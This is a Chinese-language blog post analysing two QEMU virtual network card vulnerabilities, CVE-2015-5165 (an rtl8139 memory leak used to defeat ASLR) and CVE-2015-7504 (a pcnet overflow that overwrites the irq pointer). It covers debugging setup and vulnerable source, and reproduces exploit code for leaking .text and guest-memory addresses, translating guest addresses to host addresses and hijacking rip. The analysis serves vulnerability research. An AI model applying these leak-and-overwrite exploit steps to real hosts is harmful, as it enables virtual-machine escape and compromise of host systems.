qemu 逃逸漏洞解析

CVE-2015-5165 和 CVE-2015-7504 漏洞原理与利用

Posted by jiayy on April 15, 2019

1. 前言

本文研究一个 qemu 逃逸 exploit 方案, 该方案由两个漏洞组成: CVE-2015-5165 和 CVE-2015-7504

这两个漏洞都是 qemu 虚拟网卡设备的漏洞, 前者能造成信息泄露用于绕过 qemu host 进程的 ASLR, 后者能控制 rip 寄存器用于虚拟机逃逸

2. 环境准备

2.1 准备 qemu

下载包含漏洞的 qemu 代码,然后编译,参考 Building QEMU for Linux

git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout bd80b59
mkdir -p bin/debug/native
cd bin/debug/native
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror #--disable-pie
make -j 4
cd ../../..

编译生成 bin/debug/native/x86_64-softmmu/qemu-system-x86_64

2.2 准备 guest os

有两种方式准备 guest os

第一种方式, 下载发行版官网的 iso 文件并安装到镜像文件

  • 下载 iso 并安装到 qemu image
qemu-img create -f qcow2 ubuntu.img 60G
wget http://old-releases.ubuntu.com/releases/16.04.3/ubuntu-16.04.3-server-amd64.iso
../qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -hda ./ubuntu.img  -cdrom ./ubuntu-16.04.3-server-amd64.iso
  • 用下面的命令启动虚拟机
/data1/virtual-exp/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64  \
-enable-kvm -m 2048 \
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0  \
-netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \
-drive  file=/data1/virtual-exp/create-image-from-iso/ubuntu.img,format=qcow2,if=ide,cache=writeback

第二种方式,参考setup_ubuntu-host_qemu-vm_x86-64-kernel, 将内核镜像和根文件系统分开制作

  • 制作根文件系统

使用脚本 create-image.sh 可以创建一个根文件系统镜像文件, 方法如下:

wget https://github.com/jiayy/android_vuln_poc-exp/blob/master/EXP-2015-5165/create-image.sh
apt-get install debootstrap
sh create-image.sh 

上述脚本生成文件 qemu.img

  • 制作内核

下载内核并编译:

git clone https://github.com/torvalds/linux
git checkout v4.19-rc8 -b local_v4.19-rc8
make defconfig
make kvmconfig
编辑 .config 文件, 将 CONFIG_8139CP=y 和 CONFIG_PCNET32=y 打开
make -j4

注意:要确保下面两个配置选项是打开的, 否则系统启动的时候会出现发现启动网卡的错误,因为对应的网卡驱动没有编译进去

CONFIG_8139CP=y  , rtl8139 驱动
CONFIG_PCNET32=y , pcnet 驱动
  • 用下面的命令启动虚拟机
/data1/virtual-exp/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64   \
-kernel /data1/virtual-exp/linux/arch/x86/boot/bzImage  \
-append "console=ttyS0 root=/dev/sda rw"  \
-hda /data1/virtual-exp/create-image/qemu.img  \
-enable-kvm -m 2G -nographic \
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
-netdev user,id=t1, -device pcnet,netdev=t1,id=nic1

第一种方式(安装 iso)的特点是安装时间长,启动时间久,换内核麻烦。

本文采用第二种方式构建虚拟化测试环境。

2.3 调试虚拟机方法

用 gdb attach 的方式调试 qemu-system-x86_64

ps aux | grep qemu 
gdb attach $PID 

注意: 这一步可能会遇到一些问题,如 attach 失败, 有很大概率是 gdb 版本的问题, 我的系统(ubuntu16.04)默认 gdb 是 7.11.1 就会发生 attach 失败, 因此下载了最新的 gdb 源码并重新编译

git clone git://sourceware.org/git/binutils-gdb.git
./configure
make -j4

使用编译出来的 binutils-gdb/gdb/gdb 用于调试

2.4 获取 poc 代码

phrack 的文章末尾有源码, 是 uuencode 的编码数据, 将begin…end之间拷贝到一个文件,命名为 xxx, 再执行

uudecode xxx
tar zxvf vm_escape.tar.gz

可以得到源码, 目录为 vm_escape

3. CVE-2015-5165 漏洞分析

这个漏洞是 qemu TL8139 网卡设备模拟器的信息泄露漏洞。

当虚拟机的系统内往 tl8139 网卡发送数据包的时候, qemu 模拟器会调用 rtl8139_cplus_transmit_one 函数处理

file: hw/net/rtl8139.c
function: rtl8139_cplus_transmit_one

2125         uint8_t *saved_buffer  = s->cplus_txbuffer;
2126         int      saved_size    = s->cplus_txbuffer_offset;
2127         int      saved_buffer_len = s->cplus_txbuffer_len;

2153             /* ip packet header */
2154             ip_header *ip = NULL;
2155             int hlen = 0;
2156             uint8_t  ip_protocol = 0;
2157             uint16_t ip_data_len = 0;
2158 
2159             uint8_t *eth_payload_data = NULL;
2160             size_t   eth_payload_len  = 0;
2161 
2162             int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
2163             if (proto == ETH_P_IP)
2164             {
2165                 DPRINTF("+++ C+ mode has IP packet\n");
2166 
2167                 /* not aligned */
2168                 eth_payload_data = saved_buffer + ETH_HLEN;
2169                 eth_payload_len  = saved_size   - ETH_HLEN;
2170 
2171                 ip = (ip_header*)eth_payload_data;
2172 
2173                 if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
2174                     DPRINTF("+++ C+ mode packet has bad IP version %d "
2175                         "expected %d\n", IP_HEADER_VERSION(ip),
2176                         IP_HEADER_VERSION_4);
2177                     ip = NULL;
2178                 } else {
2179                     hlen = IP_HEADER_LENGTH(ip);
2180                     ip_protocol = ip->ip_p;
2181                     ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
2182                 }

漏洞发生在 2181 行

hlen 指 ip 包的包头长度,一般来说是 20 字节(如果没有option)

ip->ip_len 指的是 ip 包总长度,它是 ip 包头数据的一个字段 (类型为 u16)

这两个数的差就是 ip 包的数据长度,存放在 u16 类型的 ip_data_len 变量上

这里没有检测 ip->ip_len 字段的值是否大于 hlen, 如果小于, ip_data_len 会变成很大的数

2231                     int tcp_data_len = ip_data_len - tcp_hlen;
2232                     int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;

2241                     int is_last_frame = 0;
2242 
2243                     for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_off     set += tcp_chunk_size)
2244                     {
2245                         uint16_t chunk_size = tcp_chunk_size;
2246 
2247                         /* check if this is the last frame */
2248                         if (tcp_send_offset + tcp_chunk_size >= tcp_data_len)
2249                         {
2250                             is_last_frame = 1;
2251                             chunk_size = tcp_data_len - tcp_send_offset;
2252                         }
2253 
2254                         DPRINTF("+++ C+ mode TSO TCP seqno %08x\n",
2255                             be32_to_cpu(p_tcp_hdr->th_seq));
2256 
2257                         /* add 4 TCP pseudoheader fields */
2258                         /* copy IP source and destination fields */
2259                         memcpy(data_to_checksum, saved_ip_header + 12, 8);
2260 
2261                         DPRINTF("+++ C+ mode TSO calculating TCP checksum for "
2262                             "packet with %d bytes data\n", tcp_hlen +
2263                             chunk_size);
2264 
2265                         if (tcp_send_offset)
2266                         {
2267                             memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);
2268                         }

2304                         int tso_send_size = ETH_HLEN + hlen + tcp_hlen + chunk_size;
2305                         DPRINTF("+++ C+ mode TSO transferring packet size "
2306                             "%d\n", tso_send_size);
2307                         rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
2308                             0, (uint8_t *) dot1q_buffer);

如上, 2243 - 2313 行 的循环里,如果 tcp 数据长度 (即 tcp_data_len) 大于 MTU, 则会将 tcp 数据切割成多个 ip 包发送, 发送函数是 2307 行的 rtl8139_transfer_frame 函数

tcp_data_len 等于 ip_data_len - tcp 包头长度, 因为漏洞没有检查 ip_data_len 的值,所以 tcp_data_len 也可能比实际的 tcp 数据大,

当 tcp_data_len 比实际的 tcp 数据大时, 会导致多余的内存区被拷贝到包里发送出去

1774 static void rtl8139_transfer_frame(RTL8139State *s, uint8_t *buf, int size,
1775     int do_interrupt, const uint8_t *dot1q_buf)
1776 { 
1777     struct iovec *iov = NULL;
1778     struct iovec vlan_iov[3];


1798     if (TxLoopBack == (s->TxConfig & TxLoopBack))
1799     {
1800         size_t buf2_size;
1801         uint8_t *buf2;
1802   
1803         if (iov) {
1804             buf2_size = iov_size(iov, 3);
1805             buf2 = g_malloc(buf2_size);
1806             iov_to_buf(iov, 3, 0, buf2, buf2_size);
1807             buf = buf2;
1808         }
1809 
1810         DPRINTF("+++ transmit loopback mode\n");
1811         rtl8139_do_receive(qemu_get_queue(s->nic), buf, size, do_interrupt);
1812 
1813         if (iov) {
1814             g_free(buf2);
1815         }
1816     }

如上, 在函数 rtl8139_transfer_frame 里可以看到, 如果网卡被配置为 loopback 口, 发送的数据包并没有真正发送出去, 而是会调用 rtl8139_do_receive 函数将数据包由收包队列回收回来

这样上述溢出的内存数据将可以通过收包队列收取的数据包读取回来,造成数据泄露

4. CVE-2015-5165 的 poc

poc of CVE-2015-5165 是用 phrack 的代码改的, 可以拷贝到虚拟机上编译运行

poc 先配置收发包队列 (rtl8139_desc_config_rx, rtl8139_desc_config_tx) 和网卡模式 (rtl8139_card_config),然后发送 ip 包触发溢出 (rtl8139_packet_send), 这个过程调试如下:

  • gdb attach qemu-system-x86_64:

  • 断点下在 rtl8139.c:2173 , ip_len 的值是 0x1300

  • 算出来的 ip_data_len 的值是 65535

  • 算出来的 tcp_data_len 的值是 0xffeb, 已经超过了实际的 tcp 数据大小,因此 2267 行的 memcpy将额外多拷贝大概 64K 的数据

5. CVE-2015-5165 的利用

exp of CVE-2015-5165 是 phrack 的代码, 拷贝到虚拟机上编译运行

exp 的代码开始部分跟 poc 一样, 配置好网卡( 配置为 loopback 口) 和收发包队列,然后构造一个数据包并发送

漏洞触发后会溢出读 qemu 进程的一块内存并封装成 ip 包写回收包队列

虚拟机内部的用户进程通过读取收包队列的数据包就可以知道被泄露的那块 qemu 内存区的内容。

经过调试,溢出的数据有非常多的情况是 struct ObjectProperty 这个 qemu 内部结构体的数据

file: include/qom/object.h
typedef struct ObjectProperty
{
    gchar *name;
    gchar *type;
    gchar *description;
    ObjectPropertyAccessor *get;
    ObjectPropertyAccessor *set;
    ObjectPropertyResolve *resolve;
    ObjectPropertyRelease *release;
    void *opaque;

    QTAILQ_ENTRY(ObjectProperty) node;
} ObjectProperty;

如上,

  • struct ObjectProperty 包含 11 个指针, 这里边有 4 个函数指针 get/set/resolve/release

  • 这些函数指针在运行的时候会指向真正的函数地址, 比如 property_get_bool, property_get_str, property_set_alias, object_resolve_link_property

  • 在 qemu 里 struct ObjectProperty 类型的对象都由堆生成和管理(没有找 qemu 堆的管理代码, 根据 phrack 的分析, 这种结构在管理的时候有一个 size 变量在这个结构前面, size 的值是 0x60 )

5.1 获取 .text 的地址

  • 0) 从 qemu-system-x86_64 二进制文件里搜索上述 4 类符号的所有静态地址, 如 property_get_bool 等符号的地址

  • 1) 在读回来的 IP 包的数据里搜索值等于 0x60 的内存 ptr, 如果匹配到, 认为 (u64*)ptr+1 的地方就是一个潜在的 struct ObjectProperty 对象, 对应的函数是 qemu_get_leaked_chunk

  • 2) 在 1 搜索到的内存上匹配 0 收集到的 get/set/resolve/release 这几种符号的静态地址, 匹配方式为页内偏移相等, 如果匹配到, 认为就是 struct ObjectProperty 对象, 对应的函数是 qemu_get_leaked_object_property

  • 3) 在 2 搜索的基础上, 用 object->get/set/resolve/release 的实际地址减去静态编译里算出来的 offset, 得到 .text 加载的地址

下面结合代码详细分析:

nb_leak = qemu_get_leaked_chunk(rtl8139_rx_ring, rtl8139_rx_nb, 0x60,
                                        leak, LEAK_MAX);


size_t qemu_get_leaked_chunk(struct rtl8139_ring *ring, size_t nb_packet,
                             size_t size, void **leak, size_t leak_max)
{
        uint64_t *stop, *ptr;
        size_t nb_leak = 0;
        size_t i;
        for (i = 0; i < nb_packet; i++) {
                /* TODO skip IP headers */
                ptr = (uint64_t *)(ring[i].buffer + 4);
                stop = ptr + RTL8139_BUFFER_SIZE/sizeof(uint8_t);
                while (ptr < stop) {
                        /* Look for a chunk of 0x60 bytes */
                        hsize_t chunk_size = *ptr & CHUNK_SIZE_MASK;
                        if (chunk_size == size) {
                                leak[nb_leak++] = ptr + 1;
                        }
                        *ptr++;
                        if (nb_leak > leak_max) {
                                warnx("[!] too much interesting chunks");
                                return nb_leak;
                        }
                }
        }
        return nb_leak;
}

如上, 函数 qemu_get_leaked_chunk 遍历收包队列的每一个包, 对每一个包的数据,搜索 (*ptr&~7) == 0x60

              hsize_t chunk_size = *ptr & CHUNK_SIZE_MASK;
              if (chunk_size == size) {
                                leak[nb_leak++] = ptr + 1;
              }
              *ptr++;

如果匹配到, 就把该地址放入 leak 数组, 同时 nb_leak 加 1.

309 int qemu_get_leaked_object_property(void **leak, size_t nb_leak,
310                                     struct qemu_object **found,
311                                     struct qemu_object *ref)
312 {
313         hptr_t *get, *set, *resolve, *release;
314         int best = 0;
315         size_t i, j;
316 #define ATT_SEARCH(att) {\
317         att = bsearch(&object->att, qemu_object_property_##att,\
318                       NMEMB(qemu_object_property_##att),\
319                       sizeof(qemu_object_property_##att[0]),\
320                       cmp_page_offset);\
321         if (att != NULL) {\
322                 matches[match].ref = *att;\
323                 matches[match].found = object->att;\
324                 match++;\
325         }\
326 }
327 
328         for (i = 0; i < nb_leak; i++) {
329                 int match = 0, diff_match = 0;
330                 struct {
331                         hptr_t found;
332                         hptr_t ref;
333                 } matches[4];
334                 struct qemu_object *object = (struct qemu_object *)leak[i];
335                 hptr_t offset;
336 
337                 ATT_SEARCH(get);
338                 ATT_SEARCH(set);
339                 ATT_SEARCH(resolve);
340                 ATT_SEARCH(release);
341 
342                 for (j = 1; j < match; j++) {
343                         diff_match += matches[j].found - matches[j-1].found
344                                  == matches[j].ref - matches[j-1].ref;
345                 }
346                 match += diff_match;
347 
348                 if (match > best) {
349                         if (get != NULL) ref->get = get ? *get : HNULL;
350                         if (set != NULL) ref->set = set ? *set : HNULL;
351                         if (resolve != NULL) ref->resolve = resolve ? *resolve : HNULL;
352                         if (release != NULL) ref->release = release ? *release : HNULL;
353                         *found = object;
354                         best = match;
355                 }
356 
357         }
358 
359         return best;
360 }

如上, 函数 qemu_get_leaked_object_property 的主体是一个循环: 328 ~ 357

循环最大运行 nb_leak 次, 每次循环里, 取出 leak 数组的一个地址, 对其内容执行 4 次二分搜索(分别对应 get/set/resolve/release 4 类函数), 这里的搜索原理是这样的:

以 set 为例,首先从 qemu-system-x86_64 里得到所有 property_set_xx 函数的符号地址:

#define property_set_str_ADDR         0x0000000000391deb
#define property_set_bool_ADDR        0x000000000039202c
#define property_set_enum_ADDR        0x0000000000392277
#define property_set_alias_ADDR       0x0000000000392a70
#define object_set_link_property_ADDR 0x00000000003914f3

将它们放在数组 qemu_object_property_set 里, 如下:

199 hptr_t qemu_object_property_set[] = {
200         property_set_str_ADDR,
201         property_set_bool_ADDR,
202         property_set_enum_ADDR,
203         property_set_alias_ADDR,
204         object_set_link_property_ADDR,
205 };

然后, 对数组 qemu_object_property_set 做快排, 这一步主要为了后续做二分搜索 qsearch

456 #define ATT_SORT(att) {\
457         qsort(qemu_object_property_##att, NMEMB(qemu_object_property_##att),\
458               sizeof(qemu_object_property_##att[0]), cmp_page_offset);\
459 }

461         ATT_SORT(set);

然后, 取出泄露的目标地址 object->set, 跟数组 qemu_object_property_set 里的值,做匹配

搜索匹配函数为 cmp_page_offset:


262 int cmp_page_offset(const void *a, const void *b)
263 {
264         return page_offset(*(hptr_t *)a) - page_offset(*(hptr_t *)b);
265 }

如上, 如果 object->set 的值的 page_offset 等于 qemu_object_property_set 数组里某个 set 函数的静态地址的 page_offset, 则认为匹配成功

这里的理由就是 qemu-system-x86_64 程序加载进内存的时候, 代码区 .text 起始地址增加的随机数是 page 对齐的, 这样一来, 同一个函数,它的静态地址的页内偏移应该等于加载进内存之后实际地址的页内偏移

用这个方法, 对 object->get/set/resolve/release 这 4 个位置的值分别与数组 qemu_object_property_get / qemu_object_property_set / qemu_object_property_resolve / qemu_object_property_release ( 这 4 个数组里符号的地址由 build-exploit.sh 脚本生成) 里的符号地址做搜索匹配, 每匹配到 1 个, match 变量加 1, 且将 object->get/set/resolve/release 的值放入 matches[match].found 变量, 并将 qemu_object_property_xx 数组对应的项的值放入 matches[match].ref, 前者是该符号在内存的实际加载地址, 后者是该符号静态编译后得到的静态地址

注意: qemu_get_leaked_object_property 函数的行 342 ~ 355 是为了增加匹配的精确度, 比如 4 个符号都匹配到的 object 会认为比 3 个符号匹配到的 object 更可信

然后,得到了某个符号的实际加载地址后, 就可以换算出 .text 的实际加载地址, 以 get 为例:

text = leak_object->get - (object_ref.get - TEXT_ADDR);

最后, 得到了 .text 的加载基地址后, 可以算出需要的其他符号的实际地址, 如:

mprotect_addr = text + (mprotect_ADDR - TEXT_ADDR);

5.2 build-exploit.sh 脚本

上面提到了 build-exploit.sh, 它是一个工具脚本,用来获取一些符号的(相对)地址

分两种,

  • 一种是静态符号, 以 property_get_bool 为例:
objdump -d -j .text qemu-system-x86_64  > text
cat text | grep property_get_bool | awk '{print $1}'
  • 一种是动态符号, 以 mprotect 为例:
objdump -d -j .plt qemu-system-x86_64  > plt
object -R qemu-system-x86_64 | grep mprotect | awk '{print $1}' => symbol_reloc 
cat plt | grep symbol_reloc | sed 's/^0*//')" | awk '{print $1}' | sed 's/:$//'

注意:原始的 build-exploit.sh 有一个问题, 它获取 plt 段是通过下面的命令行:

plt=$(readelf -S $binary | grep plt | tail -n 1 | awk '{print $2}')

这样获取到的是 .plt.got 段,在我的环境里, mprotect 等系统函数符号没有在 .plt.got 这个段,而是在 .plt 这个段

所以我将这个脚本改成了 build-exploit.sh

5.3 获取 phymem 地址

guest 的物理内存在 qemu 进程上通过分配一块单独的内存区实现, 这块内存在 qemu 进程的起始地址叫 phy_mem, 如下:

phy_mem 的地址获取需要通过搜索溢出的内存区来确定, 算法如下:

” phy_mem + 0x78 “ 这个值在泄露的内存区里多次出现, 所以只要匹配 0x78 就可以定位到 phy_mem 的值, 函数如下:

hptr_t qemu_get_phymem_address(struct rtl8139_ring *ring, size_t nb_packet)
{
        hptr_t *stop, *ptr;
        size_t i;
        for (i = 0; i < nb_packet; i++) {
                /* TODO skip IP headers */
                ptr = (hptr_t *)(ring[i].buffer + 4);
                stop = ptr + RTL8139_BUFFER_SIZE/sizeof(uint8_t);
                while (ptr < stop) {
                        if ((*ptr & 0xffffff) == 0x78) {
                                return *ptr - 0x78;
                        }
                        *ptr++;
                }
        }
        return 0;
}

小结: 通过漏洞 CVE-2015-5165 可以获取 qemu 进程的 .text 地址和 phy_mem 地址

6. CVE-2015-7504 漏洞分析

这个漏洞是 qemu pcnet 网卡设备模拟器的溢出写漏洞。

file: hw/net/pcnet.c

pcnet_transmit -> pcnet_receive

1000 ssize_t pcnet_receive(NetClientState *nc, const uint8_t *buf, size_t size_)
1001 {
1002     PCNetState *s = qemu_get_nic_opaque(nc);

1061         } else {
1062             uint8_t *src = s->buffer;
1063             hwaddr crda = CSR_CRDA(s);
1064             struct pcnet_RMD rmd;
1065             int pktcount = 0;
1066 
1067             if (!s->looptest) {
1068                 memcpy(src, buf, size);
1069                 /* no need to compute the CRC */
1070                 src[size] = 0;
1071                 src[size + 1] = 0;
1072                 src[size + 2] = 0;
1073                 src[size + 3] = 0;
1074                 size += 4;
1075             } else if (s->looptest == PCNET_LOOPTEST_CRC ||
1076                        !CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
1077                 uint32_t fcs = ~0;
1078                 uint8_t *p = src;
1079 
1080                 while (p != &src[size])
1081                     CRC(fcs, *p++);
1082                 *(uint32_t *)p = htonl(fcs);
1083                 size += 4;
1084             } else {

如上,s 指向 PCNetState_st 结构体, src 指向 s->buffer, 这是一个 4096 的 u8 数组, 用于存放发送给网卡的数据包

在 loopback test 模式下,数据包处理进入行 1077 ~ 1084

漏洞发生在行 1082, 这里没有检测 size 的大小, 当 size = 4096 时, 1080 的循环运行结束后,p 会指向 src[4096], 即此时 s->buffer 已经完全被写完了, 接下去 1082 的赋值操作会溢出写 4 个 Byte


file: hw/net/pcnet.h

 34 struct PCNetState_st {
 35     NICState *nic;
 36     NICConf conf;
 37     QEMUTimer *poll_timer;
 38     int rap, isr, lnkst;
 39     uint32_t rdra, tdra;
 40     uint8_t prom[16];
 41     uint16_t csr[128];
 42     uint16_t bcr[32];
 43     int xmit_pos;
 44     uint64_t timer;
 45     MemoryRegion mmio;
 46     uint8_t buffer[4096];
 47     qemu_irq irq;
 48     void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
 49                          uint8_t *buf, int len, int do_bswap);
 50     void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
 51                           uint8_t *buf, int len, int do_bswap);
 52     void *dma_opaque;
 53     int tx_busy;
 54     int looptest;
 55 };

从 PCNetState_st 的定义看,溢出写会覆盖到 irq 变量

file: include/hw/irq.h

 8 typedef struct IRQState *qemu_irq;

如上, irq 变量是 1 个 struct IRQState * 指针

所以这个漏洞可以改写一个结构体指针的低 4 字节

7. CVE-2015-7504 的 poc

poc of CVE-2015-7504 是 poc 代码, 拷贝到虚拟机上编译运行

如上, 下断在 pcnet.c:1082, 执行后打印 p 指针的地址,发现与 s->irq 的地址一样,说明 1082 行的赋值操作会写到 s->irq

file: hw/core/irq.c

 30 struct IRQState {
 31     Object parent_obj;
 32 
 33     qemu_irq_handler handler;
 34     void *opaque;
 35     int n;
 36 };
file: include/hw/irq.h
 10 typedef void (*qemu_irq_handler)(void *opaque, int n, int level);

struct IRQState 定义如上,函数 pcnet_receive 最后会调用函数 qemu_set_irq

pcnet_receive()->pcnet_update_irq()->qemu_set_irq()

void qemu_set_irq(qemu_irq irq, int level)
{
    if (!irq)
        return;

    irq->handler(irq->opaque, irq->n, level);
}

如上, qemu_set_irq 函数里会调用 irq->handler

因此,在 poc 里用 0xdeadbeef 作为溢出写的内容,这样会导致 irq 指针的低 4 字节变成 0xdeadbeef

系统会在调用 irq->handler 会跳转到 0x5xxxdeadbeef 这个无效地址从而奔溃,如下:

8. CVE-2015-7504 的利用

8.1 在虚拟机内部进程伪造 struct IRQState 结构体

漏洞可以改变 struct IRQState 结构体指针

一个直接的利用思路就是构造一个伪 struct IRQState 结构体, 然后通过漏洞让 s->irq 指向这个伪造的 struct IRQState 结构体, 结构体内部的 handler 可以放我们想要执行的指令地址(如 shellcode 地址), 触发漏洞后 irq->handler 被执行即执行我们的 shellcode

上述思路需要我们在虚拟机内构造一块内存,然后将这块内存给主机的 qemu 进程使用, 这时候需要做地址转换, 将虚拟机的虚拟地址转换成物理机 qemu 进程的虚拟地址, 转换方法如下:

uint64_t gva_to_gpa(void *addr)
{
        uint64_t gfn = gva_to_gfn(addr);
        assert(gfn != -1);
        return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}

hptr_t gva_to_hva(void *addr)
{
        return gva_to_gpa(addr) + phy_mem;
}

如上,

  • 首先, 需要将虚拟机内部的虚拟地址转换成物理地址, 函数是 gva_to_gpa, (通过文件 /proc/self/pagemap)
  • 其次, 将虚拟机内部的物理地址转换成 qemu 进程的虚拟地址, 算法是 (gva_to_gpa(addr) + phy_mem)

其中, phy_mem 的地址怎么得到在 cve-2015-5165 的漏洞利用那一节已经分析过了。

8.2 在虚拟机内部进程伪造 struct IRQState 结构体遇到的问题

根据之前的分析,漏洞只能溢出写 s->irq 指针的低 4 个字节, 无法改变高 4 个字节

因此, 通过伪造 struct IRQState 结构体来利用, 这种思路要成功有一个前提条件, 就是 s->irq 这个指针的地址必须落在 qemu 进程的 phy_mem 区域, 这样子一来, s->irq 的值的高 4 字节就跟伪造的 struct IRQState 结构体映射到 qemu 进程后的地址的高 4 字节一致, 只需要用漏洞写低 4 字节就可以。

但是, 按照本文开头搭建的调试环境实际运行发现, 这个前提不成立。

  • 在虚拟机内构造一个 fake struct IRQState, 用上面提到的算法计算其在 qemu 里的地址, 算出来是 0x7fxxxxxxxxxx

  • 触发漏洞, 调试发现 s->irq 的值是 0x5xxxxxxxxxxx

如上, s->irq 的地址落在 heap 区域(0x561cbcf9e000 - 0x561cbe98e000)

而 phy_mem 落在区域 (0x7fbeb0000000 - 0x7fbf30000000)

这样的话, 触发漏洞后, s->irq 高位的值是 0x5xxx, 执行流无法劫持到我们构造的 fake struct IRQState 里

为解决这个问题, 尝试了若干方式

8.3 尝试替换 host kernel

phrack 的文档使用的是虚拟机内部进程伪造 fake struct IRQState 的利用思路,在这篇文档里, s->irq 的地址是落在 phy_mem 区域的。

该文档也提到了 CVE-2015-7504 需要在打开 CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE 配置的 host kernel 才可以利用, 否则会失败。

CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE 对加载的 elf 的内存布局的影响参考 这里

根据这篇文档,host 系统使用了这个配置的内核之后, s->irq 会落在 phy_mem 区域, 搜索发现这个配置只有一小部分内核版本才有, 在比较新的内核里已经被废弃, 尝试下载了带这个配置的内核版本并编译

git clone https://github.com/torvalds/linux
git checkout v4.0-rc7 -b local_v4.0-rc7

编译之后替换 host 机内核出现了很多问题

由于 host 是 ubuntu 开发机不敢乱搞, 暂时搁置替换 host kernel 这种方式。

8.4 尝试重编译 qemu

phrack 的文档提到了默认配置下 qemu 的编译打开了 pie 设置, 所以尝试重新配置 disable-pie 再重编译 qemu

../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror --disable-pie
make -j4

这样编译出来的 qemu 类型是 EXEC, 而不是 DYN

用这个新的 qemu 启动虚拟机, 查看内存布局, 如下:

测试发现 s->irq 的值还是在 heap 区里, 没法把它的值改成一个 phy_mem 的地址

9. 在数据包里构造伪 struct IRQState

9.1 尝试将 s->irq 指向 heap 里

参考 这里

如前面分析, s->irq 的地址落在 qemu 进程的 heap 区

调试发现 s->buffer 这个地址也是 heap 区里的地址

因此, s->irq 和 s->buffer 的高 4 字节地址是一致的, 通过漏洞修改 s->irq 的低 4 字节可以把 s->irq 指向 s->buffer 区域

我们知道, s->buffer 存放的是数据包的内容, 而数据包的内容是可以控制的

这样有一种非常自然的想法就是在数据包里存放一些地址, 然后溢出写之后将 s->irq 的地址指到 s->buffer 里填充了攻击地址的地方,这样可以执行存放在数据包里的地址, 达到劫持执行流的目的

poc 2 of CVE-2015-7504 是上述思路的 poc 代码

首先,在数据包里存放一些地址,如下:

 uint64_t *packet_ptr;
        packet_ptr = pcnet_packet;
        for(int j=0x10; j<0x1f8; j += 2)
        {
                *(packet_ptr + j) = 0x414141414141;
                *(packet_ptr + j + 1) = 0x424242424242;
        }

这块地址debug出来效果如下:

然后,根据 heap 基地址大概算一个目标地址, 这个目标地址指向 s->buffer 里的某一块数据

        targetValue = (heapBaseAddr +  0x220900) & 0xffffffff;
        pcnet_packet_patch_crc(ptr, fcs, htonl(targetValue));

触发漏洞之后,发现执行流被成功劫持到了填充在数据包里的地址

至此, 我们可以劫持 rip

9.2 尝试在 s->buffer 里构造伪 struct IRQState

上述 poc 将 s->irq 指到了 s->buffer 内部, 然后在数据包里填充了无效地址, 触发漏洞后 s->irq->handler 执行了无效地址, 实现了 rip 的劫持

如果我们能在数据包里构造伪 struct IRQState 结构体, 并且能精确地将这个结构体的地址覆盖到 s->irq, 就可以实现 phrack 文档里最后实现的完整逃逸

目前的进展是可以通过 CVE_2015_5165 漏洞大概算出 qemu 进程里 heap 区域的地址区间, 但还无法精确知道 s->buffer 的地址,因此无法获取准确的 fake struct IRQState 的地址,代码:exp of CVE-2015-7504

引用